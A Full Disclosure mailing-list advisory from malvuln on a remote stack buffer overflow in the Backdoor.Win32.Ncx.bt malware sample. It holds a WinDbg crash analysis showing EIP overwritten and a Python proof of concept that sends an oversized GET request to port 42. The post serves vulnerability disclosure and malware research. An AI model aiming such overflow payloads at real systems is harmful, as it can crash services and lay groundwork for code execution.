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Date: Fri, 15 Jan 2021 00:50:49 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Ncx.bt / Remote Stack Buffer Overflow

Discovery / credits: malvuln - Malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/ad5c01b3e6d0254adfe0898c6d16f927.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Ncx.bt
Vulnerability: Remote Stack Buffer Overflow
Description: The malware listens on TCP port 42, sending a single HTTP
GET request with a packet size of 10140 bytes, will trigger the buffer
overflow overwriting both EIP and structured exception handler (SEH).
Type: PE32
MD5: ad5c01b3e6d0254adfe0898c6d16f927
Vuln ID: MVID-2021-0026
Dropped files:
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 01/15/2021

Memory Dump:
EAX : 00000000
EBX : 00000000
ECX : 41414141
EDX : 773E9D70     ntdll.773E9D70
EBP : 03301680
ESP : 03301660
ESI : 00000000
EDI : 00000000
EIP : 41414141

This dump file has an exception of interest stored in it.
The stored exception information can be accessed via .ecxr.
(1ef8.1d94): Access violation - code c0000005 (first/second chance not
available)
eax=00000000 ebx=00000000 ecx=41414141 edx=773e9d70 esi=00000000 edi=00000000
eip=41414141 esp=030b1660 ebp=030b1680 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
41414141 ??              ???


0:003> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

*** WARNING: Unable to verify checksum for
Backdoor.Win32.Ncx.bt.ad5c01b3e6d0254adfe0898c6d16f927.exe
*** ERROR: Module load completed but symbols could not be loaded for
Backdoor.Win32.Ncx.bt.ad5c01b3e6d0254adfe0898c6d16f927.exe

FAULTING_IP:
Backdoor_Win32_Ncx_bt_ad5c01b3e6d0254adfe0898c6d16f927+1555
00401555 88443418        mov     byte ptr [esp+esi+18h],al

EXCEPTION_RECORD:  031af9f4 -- (.exr 0x31af9f4)
ExceptionAddress: 00401555
(Backdoor_Win32_Ncx_bt_ad5c01b3e6d0254adfe0898c6d16f927+0x00001555)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 031b0000
Attempt to write to address 031b0000

PROCESS_NAME:  Backdoor.Win32.Ncx.bt.ad5c01b3e6d0254adfe0898c6d16f927.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p
referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000008

EXCEPTION_PARAMETER2:  41414141

WRITE_ADDRESS:  41414141

FOLLOWUP_IP:
Backdoor_Win32_Ncx_bt_ad5c01b3e6d0254adfe0898c6d16f927+1555
00401555 88443418        mov     byte ptr [esp+esi+18h],al

FAILED_INSTRUCTION_ADDRESS:
+1555
41414141 ??              ???

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

IP_ON_HEAP:  02870d50
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.

IP_IN_FREE_BLOCK: 41414141

CONTEXT:  031afa44 -- (.cxr 0x31afa44)
eax=00000041 ebx=76e8e250 ecx=396e055e edx=031afdc4 esi=00000144 edi=02870d50
eip=00401555 esp=031afea4 ebp=73c31e90 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
Backdoor_Win32_Ncx_bt_ad5c01b3e6d0254adfe0898c6d16f927+0x1555:
00401555 88443418        mov     byte ptr [esp+esi+18h],al  ss:002b:031b0000=??
Resetting default scope

FAULTING_THREAD:  ffffffff

BUGCHECK_STR:  APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS:  STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID:  STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

LAST_CONTROL_TRANSFER:  from 02870d50 to 00401555

FRAME_ONE_INVALID: 1

STACK_TEXT:
031afea4 00401555 backdoor_win32_ncx_bt+0x1555
031afea8 02870d50 unknown!unknown+0x0


STACK_COMMAND:  .cxr 00000000031AFA44 ; kb ; dds 31afea4 ; kb

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  backdoor_win32_ncx_bt+1555

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: Backdoor_Win32_Ncx_bt_ad5c01b3e6d0254adfe0898c6d16f927

IMAGE_NAME:  Backdoor.Win32.Ncx.bt.ad5c01b3e6d0254adfe0898c6d16f927.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  34ae8eb9

BUCKET_ID:  APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_backdoor_win32_ncx_bt+1555

FAILURE_BUCKET_ID:
STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_Backdoor.Win32.Ncx.bt.ad5c01b3e6d0254adfe0898c6d16f927.exe!Unknown

Followup: MachineOwner
---------


Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=42

def doit():
    PACKET="GET /"+"A"*10140
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))
    s.send(PACKET)
    s.close()

    print("Backdoor.Win32.Ncx.bt / Remote Stack Buffer Overflow")
    print("MD5: ad5c01b3e6d0254adfe0898c6d16f927")
    print("By Malvuln")


if __name__=="__main__":
    doit()



Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or
otherwise. Permission is hereby granted for the redistribution of this
advisory, provided that it is not altered except by reformatting it,
and that due credit is given. Permission is explicitly given for
insertion in vulnerability databases and similar, provided that due
credit is given to the author. The author is not responsible for any
misuse of the information contained herein and accepts no
responsibility for any damage caused by the use or misuse of this
information. The author prohibits any malicious use of security
related information or exploits by the author or elsewhere. Do not
attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper
Malware handling or the downloading of ANY Malware mentioned on this
website or elsewhere. All content Copyright (c) Malvuln.com (TM).

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